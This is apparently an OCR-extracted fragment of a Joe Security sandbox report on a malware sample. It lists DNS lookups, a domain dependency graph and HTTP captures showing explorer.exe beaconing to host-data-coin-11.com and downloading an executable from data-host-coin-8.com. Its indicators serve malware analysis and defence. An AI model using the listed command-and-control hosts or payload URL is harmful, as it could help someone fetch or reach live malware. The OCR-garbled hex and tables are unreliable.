192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

0xe8b0

0xe8b0

0xe8b0

0x57ee

0x2449

0x90d1

0x31e3

0x5d04

0xal53

0x3a0d

0x2ad0

Ox4cfc

0xbd9c

0x6eb0

0x8dbc

0x5518

0x6941

0x7b12

Oxbaa6

Oxeab0

0x2fb9

0x31c7

0x2946

0x2946

0x5a61

0x7801

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name
cdn.discor
dapp.com

cdn.discor
dapp.com

cdn.discor
dapp.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

goo.su

goo.su

host-data-coin-

11.com

transfer.sh

CName

Address
162.159.130.233

162.159.135.233

162.159.134.233

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

172.67.139.105

104.21.38.221

94.142.143.91

144.76.136.153

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Jan 14, 2022 8.8.8.8
04:59:43.027211905
CET

Jan 14, 2022 8.8.8.8
04:59:43.204377890
CET

Jan 14, 2022 8.8.8.8
04:59:43.525659084
CET

Jan 14, 2022 8.8.8.8
04:59:43.737229109
CET

Jan 14, 2022 8.8.8.8
04:59:44.219611883
CET

Jan 14, 2022 8.8.8.8
04:59:46.291184902
CET

Jan 14, 2022 8.8.8.8
04:59:46.490119934
CET

Jan 14, 2022 8.8.8.8
04:59:46.702827930
CET

Jan 14, 2022 8.8.8.8
04:59:47.036506891
CET

Jan 14, 2022 8.8.8.8
04:59:47.227461100
CET

Jan 14, 2022 8.8.8.8
04:59:47.410892963
CET

Jan 14, 2022 8.8.8.8
04:59:50.517072916
CET

Jan 14, 2022 8.8.8.8
04:59:50.702513933
CET

Jan 14, 2022 8.8.8.8
04:59:50.894743919
CET

Jan 14, 2022 8.8.8.8
04:59:51.061510086
CET

Jan 14, 2022 8.8.8.8
04:59:51.239556074
CET

Jan 14, 2022 8.8.8.8
04:59:54.210815907
CET

Jan 14, 2022 8.8.8.8
04:59:54.374965906
CET

Jan 14, 2022 8.8.8.8
04:59:54.852350950
CET

Jan 14, 2022 8.8.8.8
04:59:56.692734957
CET

Jan 14, 2022 8.8.8.8
04:59:56.868699074
CET

Jan 14, 2022 8.8.8.8
04:59:57.069597006
CET

Jan 14, 2022 8.8.8.8
04:59:58.570993900
CET

Jan 14, 2022 8.8.8.8
04:59:58.765391111
CET

Jan 14, 2022 8.8.8.8
04:59:59.245784998
CET

Jan 14, 2022 8.8.8.8
04:59:59.480294943
CET

Copyright Joe Security LLC 2022

Dest IP
192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

192.168.2.3

Trans ID

0x4677

0x588¢

Oxlaef

Oxad97

0x2957

0xd604

0x3e52

0xe48b

Oxd2df

0xf415

0xa9e5

0x7758

0x8e87

Ox2acc

Oxdd66

0x307e

0x3fcd

0x3a36

0x81d

0x762b

Oxe43c

0x5ec5

0x3149

0x5336

0x8753

0x71el

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName
host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

a0621298.x
sph.ru

host-data-coin-
11.com

host-data-coin-
11.com

transfer.sh

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

transfer.sh

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

data-host-coin-
8.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

host-data-coin-
11.com

Address
94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

141.8.194.74

94.142.143.91

94.142.143.91

144.76.136.153

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

144.76.136.153

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

94.142.143.91

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0X0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jan 14, 2022 8.8.8.8 192.168.2.3 Oxad75 No error (0) host-data-coin- 94.142.143.91 A (IP address) IN (0x0001)
04:59:59.659004927 11.com

CET

Jan 14, 2022 8.8.8.8 192.168.2.3 0x7fof No error (0) host-data-coin- 94.142.143.91 A (IP address) IN (0x0001)
04:59:59.880700111 11.com

CET

Jan 14, 2022 8.8.8.8 192.168.2.3 0x7d46 No error (0) data-host-coin- 94.142.143.91 A (IP address) IN (0x0001)
05:00:00.046947002 8.com

CET

Jan 14, 2022 8.8.8.8 192.168.2.3 Oxca23 No error (0) host-data-coin- 94.142.143.91 A (IP address) IN (0x0001)
05:00:04.069551945 11.com

CET

Jan 14, 2022 8.8.8.8 192.168.2.3 Oxc7e2 No error (0) cdn.discor 162.159.135.233 A (IP address) IN (0x0001)
05:00:12.806410074 dapp.com

CET

Jan 14, 2022 8.8.8.8 192.168.2.3 Oxc7e2 No error (0) cdn.discor 162.159.134.233 A (IP address) IN (0x0001)
05:00:12.806410074 dapp.com

CET

Jan 14, 2022 8.8.8.8 192.168.2.3 Oxc7e2 No error (0) cdn.discor 162.159.133.233 A (IP address) IN (0x0001)
05:00:12.806410074 dapp.com

CET

Jan 14, 2022 8.8.8.8 192.168.2.3 Oxc7e2 No error (0) cdn.discor 162.159.130.233 A (IP address) IN (0x0001)
05:00:12.806410074 dapp.com

CET

Jan 14, 2022 8.8.8.8 192.168.2.3 Oxc7e2 No error (0) cdn.discor 162.159.129.233 A (IP address) IN (0x0001)
05:00:12.806410074 dapp.com

CET

HTTP Request Dependency Graph

e 185.233.81.115

e cdn.discordapp.com

e goo.su

o transfer.sh

e glxnfuhj.net
e host-data-coin-11.com

e fggjhikg.com

e slshljche.com

o fqtuljhoii.net

e rmdwdmn.org

e hmirsmb.com

® njsnp.org

e rksnlek.org

e data-host-coin-8.com

e hxaovqrpb.com

e afnhk.org

e uyqwcjxbf.org

e bncatspin.net
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e bwonexybi.com

e unicupload.top

e sworutss.com

e drlfnir.com

e rvgyadtl.com

e irhpoghlc.net

e Xxpbxi.net

o wefker.org

e kyelhwx.com

e gbuig.org

e 185.7.214.171:8080

e jjjeal.org

e Kklixbylc.org

e igiollry.net

e Ixvicbnfu.com

e alysw.org

o yocfbwydo.net

e gempx.org

e cnwtvll.org

e ecigcmyd.org

e qaicqimmrp.org

e lwrsn.com

e |gdvrak.com

e scugxyrh.org

e |lwwgdj.net

e umttqygm.net

e dujdgqdl.org

e acontkk.net

e rwkvcn.org

e urrhyr.com
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.

bqqdf.org

e dcbwcxee.net

e vwrxdxe.org

.

kijlaf.com

e xbgchdcvsv.org

.

kvaxa.org

.

wferj.org

.

jkhktrj.net

® uiswgsy.com

.

a0621298.xsph.ru

otiidv.com

.

.

adiacegte.com

.

kxdhsiskb.org

e wugrydcob.net

.

khptceilp.net

.

teeekh.org

.

rhggaprrm.com

.

rrvxdibgv.org

.

hesfipgmy.com

o

ygjgjael.org

o

ijclu.net

.

abuneept.org

.

klagrtvjum.org

.

veccr.org

.

egxhxygmwb.com

.

qgeruxg.net

.

jurgfiow.org

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.3 49760 185.233.81.115 443 C:\Windows\explorer.exe
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kBytes

Timestamp transferred
Session ID Source IP
1 192.168.2.3

kBytes
Timestamp transferred
Session ID Source IP
10 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 1118

04:58:59.866328955 CET

Jan 14, 2022 1119
04:58:59.949268103 CET

Session ID Source IP
11 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 1120

04:59:00.354100943 CET

Jan 14, 2022 1121
04:59:00.435992002 CET

Session ID Source IP

12 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2022

Direction

Source Port

49804

Direction

Source Port

49751

Direction

ouT

Source Port
49752

Direction
ouT

Source Port

49754

Direction

Data

Destination IP Destination Port Process

162.159.133.233 443 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://rmdwdmn.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 242

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:58:59 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP  Destination Port Process
94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://hmirsmb.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 154

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:00 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 64 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3a 4a a6 e8 dd e6 f8 5f f5 4a
88 2d a0 57 53 98 00 e5 a7 2c f8 2f 0d Oa 30 0d Oa 0d Oa

Data Ascii: 2d1:8201:J_J-WS,/0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data
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kBytes

Timestamp transferred

Jan 14, 2022 1122

04:59:01.734334946 CET

Jan 14, 2022 1123

04:59:01.814809084 CET

Session ID Source IP

13 192.168.2.3
kBytes

Timestamp transferred

Jan 14, 2022 1124

04:59:01.901595116 CET

Jan 14, 2022 1124

04:59:01.991240025 CET

Session ID Source IP

14 192.168.2.3
kBytes

Timestamp transferred

Jan 14, 2022 1125

04:59:02.346384048 CET

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49755

Direction

ouT

Source Port
49756

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://njsnp.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 310

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:01 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://rksnlek.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 218

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:01 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 36 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12
93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 47 ec aa 8¢ 70 bc 57 dd 43 de ff 21 81 22 e6 ¢3 95 50 28 el a8 1d 63 a9 0d Oa 30
0d 0a 0d Oa

Data Ascii: 461:820R&:UPJ%9GpWC!"P(cO

Destination IP  Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

GET /files/9030_1641816409_7037.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: data-host-coin-8.com
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kBytes

Timestamp transferred Direction Data
Jan 14, 2022 1126 IN HTTP/1.1 200 OK
04:59:02.410214901 CET Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:02 GMT

Content-Type: application/x-msdos-program

Content-Length: 301056

Connection: close

Last-Modified: Mon, 10 Jan 2022 12:06:49 GMT

ETag: "49800-5d5392be00934"

Accept-Ranges: bytes

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 32 74 07 b2 76 15 69 el 76 15 69 el 76 15 69 el 68 47 fc el 69 15 69 el 68 47
eaelfc1569el 6847 edel5b1569el151d312el 711569 el 761568 el 91569 el 6847 e3el 77 1569 el 68 4
7fdel 77 1569 el 6847 f8 el 77 15 69 el 52 69 63 68 76 15 69 e1 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d4
e8 62 5f 00 00 00 00 00 00 00 00 €0 00 03 01 Ob 01 09 00 00 1e 01 00 00 f6 03 00 00 00 00 00 9f 2d 00 00 00 10 00 00 00
30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 05 00 00 04 00 00
a7 ea 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00
00 b0 65 01 00 50 00 00 00 00 00 04 00 b0 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 32 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 59 01 00 40
00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 2e 74 65 78 74 00 00 00 c5 1d 01 00 00 10 00 00 00 1e 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00
00 20 00 00 60 2e 72 64 61 74 61 00 00 44 3f 00 00 00 30 01 00 00 40 00 00 00 22 01 00 00 00 00 00 00 00 00 00 00 00
00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 84 02 00 00 70 01 00 00 24 02 00 00 62 01 00 00 00 00 00 00 00 00 00 00
00 00 00 40 00 00 cO 2e 72 73 72 63 00 00 00 b0 10 01 00 00 00 04 00 00 12 01 00 00 86 03 00 00 00 00 00 00 00 00 00
00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 56 8d 44 24 08 50 8b f1 8 d9 11 00 00 c7 06 30 32 41 00 8b c6 5e c2 04 00 c7 01 3032 4
100 e9 8f 12 00 00 56 8b f1 ¢7 06 30 32 41 00 €8 81 12 00 00 6 44 24

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$2tvivivihGiihGihG[iQqivhihnGwihGwihGwiRichviPELb_-0@
eP2 Y@0.text ".rdataD?0@"@ @.dataXp$h@.rsrc@@VD$P02A"02AV02ADS$

Session ID Source IP Source Port Destination IP Destination Port Process
15 192.168.2.3 49757 94.142.143.91 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Jan 14, 2022 1439 ouT POST /HTTP/1.1
04:59:04.158576965 CET Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://hxaovgrpb.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 205

Host: host-data-coin-11.com

Jan 14, 2022 1440 IN HTTP/1.1 404 Not Found

04:59:04.240540028 CET Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 03:59:04 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c¢ 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Session ID Source IP Source Port Destination IP Destination Port Process

16 192.168.2.3 49758 94.142.143.91 80 C:\Windows\explorer.exe
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Timestamp

Jan 14, 2022
04:59:04.347033978 CET

Jan 14, 2022
04:59:04.428491116 CET

Session ID

17

Timestamp

Jan 14, 2022
04:59:04.515151024 CET

Jan 14, 2022
04:59:04.600716114 CET

Session ID
18

Timestamp

Jan 14, 2022
04:59:05.157767057 CET

Jan 14, 2022
04:59:05.243841887 CET

Session ID

19

kBytes
transferred

1441

1442

Source IP

192.168.2.3
kBytes

transferred

1442

1443

Source IP
192.168.2.3

kBytes

transferred
1450

1450

Source IP

192.168.2.3

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49759

Direction

ouT

Source Port
49761

Direction
ouT

Source Port

49762

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://afnhk.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 207

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:04 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
